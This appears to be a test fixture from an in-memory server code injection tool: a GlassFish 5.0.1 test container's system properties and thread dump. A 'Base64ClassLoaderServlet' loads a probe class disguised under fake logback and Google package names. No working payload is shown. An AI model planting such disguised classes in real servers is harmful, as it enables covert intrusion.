java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener(2)" #51 daemon [WAITING] on java.lang.Object@1d5ee9f6 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:583) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:571) + at java.lang.Thread.run(Thread.java:748) + +"GC Daemon" #68 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@12a3e89b + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.google.gso.hjIkv.ErrorHandler +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.framework.util.EventDispatcher +org.apache.felix.framework.util.EventDispatcher$1 +org.apache.felix.scr.impl.ComponentActorThread +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.jvnet.hk2.config.Transactions$Notifier$1 diff --git a/integration-test/src/test/resources/infos/GlassFish501ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/GlassFish501ContainerTestBasicInfo.txt new file mode 100644 index 00000000..595f857f --- /dev/null +++ b/integration-test/src/test/resources/infos/GlassFish501ContainerTestBasicInfo.txt @@ -0,0 +1,1305 @@ +# Generated At 2025-08-10 14:56:50 +SystemProps: +com.sun.aas.imqBin: /usr/local/glassfish5/mq/bin +java.vendor: Oracle Corporation +sun.java.launcher: SUN_STANDARD +catalina.base: /usr/local/glassfish5/glassfish/domains/domain1 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +com.sun.enterprise.jaccprovider.property.repository: /usr/local/glassfish5/glassfish/domains/domain1/generated/policy +catalina.useNaming: false +os.name: Linux +java.util.logging.config.file: /usr/local/glassfish5/glassfish/domains/domain1/config/logging.properties +sun.boot.class.path: /usr/local/glassfish5/glassfish/modules/endorsed/grizzly-npn-bootstrap.jar:/usr/local/glassfish5/glassfish/modules/endorsed/javax.annotation-api.jar:/usr/java/jdk-8/jre/lib/resources.jar:/usr/java/jdk-8/jre/lib/rt.jar:/usr/java/jdk-8/jre/lib/jsse.jar:/usr/java/jdk-8/jre/lib/jce.jar:/usr/java/jdk-8/jre/lib/charsets.jar:/usr/java/jdk-8/jre/lib/jfr.jar:/usr/java/jdk-8/jre/classes +javax.security.jacc.PolicyConfigurationFactory.provider: com.sun.enterprise.security.provider.PolicyConfigurationFactoryImpl +AS_DEF_NODES_PATH: ../nodes +felix.fileinstall.poll: 5000 +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.maxconn: 1 +java.runtime.version: 1.8.0_411-b09 +javax.net.ssl.keyStore: /usr/local/glassfish5/glassfish/domains/domain1/config/keystore.jks +user.name: root +osgi.shell.telnet.ip: 127.0.0.1 +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +com.sun.aas.agentRoot: /usr/local/glassfish5/glassfish/nodes +user.language: en +sun.boot.library.path: /usr/java/jdk-8/jre/lib/aarch64 +com.sun.aas.javaRoot: /usr/java/jdk-8/jre +AS_IMQ_LIB: ../../mq/lib +java.version: 1.8.0_411 +com.sun.aas.instanceRootURI: file:/usr/local/glassfish5/glassfish/domains/domain1/ +user.timezone: GMT +sun.arch.data.model: 64 +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +java.endorsed.dirs: /usr/local/glassfish5/glassfish/modules/endorsed:/usr/local/glassfish5/glassfish/lib/endorsed +java.rmi.server.randomIDs: true +com.sun.aas.installRoot: /usr/local/glassfish5/glassfish +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +com.sun.enterprise.J2EEServerId: 100 +java.class.version: 52.0 +user.country: US +java.home: /usr/java/jdk-8/jre +felix.fileinstall.dir: /usr/local/glassfish5/glassfish/modules/autostart/ +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +com.sun.aas.productRoot: /usr/local/glassfish5 +sun.font.fontmanager: sun.awt.X11FontManager +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +com.sun.aas.installRootURI: file:/usr/local/glassfish5/glassfish/ +path.separator: : +java.vm.version: 25.411-b09 +AS_CONFIG: /usr/local/glassfish5/glassfish/config/../config +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +AS_IMQ_BIN: ../../mq/bin +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /usr/local/glassfish5/glassfish/domains/domain1/config/server.policy +jdk.tls.rejectClientInitiatedRenegotiation: true +sun.io.unicode.encoding: UnicodeLittle +com.sun.aas.hostName: 1d520b95e450 +java.specification.maintenance.version: 5 +awt.toolkit: sun.awt.X11.XToolkit +AS_INSTALL: /usr/local/glassfish5/glassfish/config/.. +felix.fileinstall.disableConfigSave: false +user.home: /root +com.sun.aas.instanceName: server +com.sun.aas.derbyRoot: /usr/local/glassfish5/javadb +com.sun.aas.configRoot: /usr/local/glassfish5/glassfish/config +java.specification.vendor: Oracle Corporation +AS_DERBY_INSTALL: /usr/local/glassfish5/glassfish/config/../../javadb +java.library.path: /usr/local/glassfish5/glassfish/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://java.oracle.com/ +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.vendor: Oracle Corporation +jdk.corba.allowOutputStreamSubclass: true +java.runtime.name: Java(TM) SE Runtime Environment +sun.java.command: com.sun.enterprise.glassfish.bootstrap.ASMain -upgrade false -domaindir /usr/local/glassfish5/glassfish/domains/domain1 -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,4848,,,--secure=false,,,--terse=false,,,--echo=false,,,--interactive=false,,,start-domain,,,--verbose=true,,,--watchdog=false,,,--debug=false,,,--domaindir,,,/usr/local/glassfish5/glassfish/domains,,,domain1 -domainname domain1 -instancename server -type DAS -verbose true -asadmin-classpath /usr/local/glassfish5/glassfish/lib/client/appserver-cli.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain +java.class.path: /usr/local/glassfish5/glassfish/modules/glassfish.jar:/usr/local/glassfish5/glassfish/lib/monitor/flashlight-agent.jar +GlassFish_Platform: Felix +java.vm.specification.name: Java Virtual Machine Specification +catalina.home: /usr/local/glassfish5/glassfish/domains/domain1 +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +gosh.args: --nointeractive +java.io.tmpdir: /tmp +com.sun.aas.imqLib: /usr/local/glassfish5/mq/lib +AS_DEF_DOMAINS_PATH: /usr/local/glassfish5/glassfish/config/../domains +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +com.sun.aas.domainsRoot: /usr/local/glassfish5/glassfish/domains +hei: +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/java/jdk-8/jre/lib/ext:/usr/java/jdk-8/jre/jre/lib/ext:/usr/local/glassfish5/glassfish/domains/domain1/lib/ext +felix.fileinstall.bundles.startTransient: true +user.dir: /usr/local/glassfish5/glassfish/domains/domain1/config +com.sun.aas.instanceRoot: /usr/local/glassfish5/glassfish/domains/domain1 +line.separator: + +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +glassfish.version: GlassFish Server Open Source Edition 5.0.1 (build 5) +java.security.auth.login.config: /usr/local/glassfish5/glassfish/domains/domain1/config/login.conf +com.ctc.wstx.returnNullForDefaultNamespace: true +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +file.encoding: UTF-8 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +javax.xml.accessExternalSchema: all +ANTLR_USE_DIRECT_CLASS_LOADING: true +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +felix.fileinstall.bundles.new.start: true +java.specification.version: 1.8 +javax.net.ssl.trustStore: /usr/local/glassfish5/glassfish/domains/domain1/config/cacerts.jks +osgi.shell.telnet.port: 6666 + +=========================================== + +ThreadStacks: +"admin-listener(3)" #56 daemon [WAITING] on java.lang.Object@605ca313 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Thread-23" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@17eeefda + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"GlassFish Kernel Main Thread" #71 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@66929f91 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:247) + +"FelixResolver-11" #26 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6dc16471 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener(1)" #54 daemon [WAITING] on java.lang.Object@605ca313 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:200) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(2)" #41 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6ad75494 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:105) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:585) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1-kernel(1) SelectorRunner" #46 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:114) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:339) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:279) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:593) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"admin-listener-kernel(1) SelectorRunner" #60 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:114) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:339) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:279) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:593) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:573) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-3" #16 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6dc16471 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #118 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1637) + at java.lang.Thread.run(Thread.java:750) + +"Thread-7" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6800a624 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.enterprise.server.logging.GFFileHandler.log(GFFileHandler.java:825) + at com.sun.enterprise.server.logging.GFFileHandler$3.run(GFFileHandler.java:540) + +"pool-17-thread-1" #112 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@19290357 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixResolver-6" #21 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6dc16471 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-11-thread-1" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d1684aa + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"deployment-jar-scanner" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5814096c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-3-thread-1" #37 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@9484ff + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"pool-20-thread-1" #120 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@9484ff + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-8686" #68 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:535) + at java.net.ServerSocket.implAccept(ServerSocket.java:545) + at java.net.ServerSocket.accept(ServerSocket.java:513) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #116 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1637) + at java.lang.Thread.run(Thread.java:750) + +"RunLevelControllerThread-1754837807031" #31 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@3864ad8b + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"fileinstall-/usr/local/glassfish5/glassfish/domains/domain1/autodeploy/bundles/" #87 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.felix.fileinstall.internal.DirectoryWatcher.run(DirectoryWatcher.java:291) + +"FelixDispatchQueue" #13 daemon [WAITING] on java.util.ArrayList@ea0616c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.lang.Thread.run(Thread.java:750) + +"pool-10-thread-1" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6906326b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@56a74904 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"FelixResolver-7" #22 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6dc16471 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-listener-1(4)" #43 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at ch.qos.logback.AMKlP.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:281) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1540) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:297) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:167) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:209) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:167) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:215) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:119) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:611) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:550) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:99) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:114) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:332) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:199) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:463) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:168) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:206) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:180) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:242) + at 